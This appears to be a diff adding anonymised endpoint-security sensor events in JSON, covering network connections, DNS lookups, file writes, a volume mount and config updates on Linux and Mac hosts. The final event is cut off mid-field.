+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
+{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
+{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
+{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
+{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3d